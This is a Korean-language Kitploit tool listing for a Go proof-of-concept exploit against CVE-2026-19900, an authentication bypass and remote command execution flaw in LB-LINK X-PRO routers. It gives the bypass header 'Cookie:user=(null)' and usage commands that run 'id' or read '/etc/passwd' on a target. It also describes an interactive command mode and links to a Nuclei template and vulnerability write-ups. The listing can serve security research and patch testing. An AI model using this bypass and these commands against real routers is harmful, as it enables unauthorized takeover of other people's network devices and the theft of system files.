cve-2026-19900-PoC — CVE-2026-19900에 대한 개념 증명 익스플로잇으로, LB-LINK X-PRO 라우터의 인증 우회 및 원격 코드 실행 취약점으로, 조작된 null 사용자 쿠키를 통해 명령 실행을 허용합니다. | Kitploit

CVE-2026-19900 LB-LINK X-PRO 인증 우회 및 null 사용자를 통한 RCE

CVE-2026-19900 하드코딩된 자격 증명 및 null 사용자를 통한 인증 우회 RCE.

헤더를 통한 우회: Cookie:user=(null)

사용법

대상 호스트로 스크립트를 빌드하고 실행합니다:

go build cve-2026-19900-PoC.go
./cve-2026-19900-PoC -t http://target:8080/ -c "id"

빌드 없이 실행

go run cve-2026-19900-PoC.go -t http://target:8080/ -c "cat /etc/passwd"

대화형 모드

./cve-2026-19900-PoC -t http://target:8080/ -i

인자

-t: 대상 IP 주소 또는 호스트명 (필수)
-c: cmd 페이로드 전송
-i: 대화형 모드 (-c <cmd> 불필요)

Nuclei 템플릿: (0x_Akoko 작성 템플릿)

https://cloud.projectdiscovery.io/library/CVE-2026-19900

참고 자료

https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_cmd%20Indicates%20the%20unauthorized%20command%20injection/The%20LB-LINK_cmd%20command%20is%20used%20to%20inject%20information.md https://nvd.nist.gov/vuln/detail/CVE-2026-19900 https://github.com/DavCloudz/cve/blob/main/B-Link/B-Link%20AC1200%20X-PRO(AC6)%20Hardcoded%20Credentials%20Vulnerability.md https://vuldb.com/cve/CVE-2026-19900 https://vuldb.com/submit/870712

도구 다운로드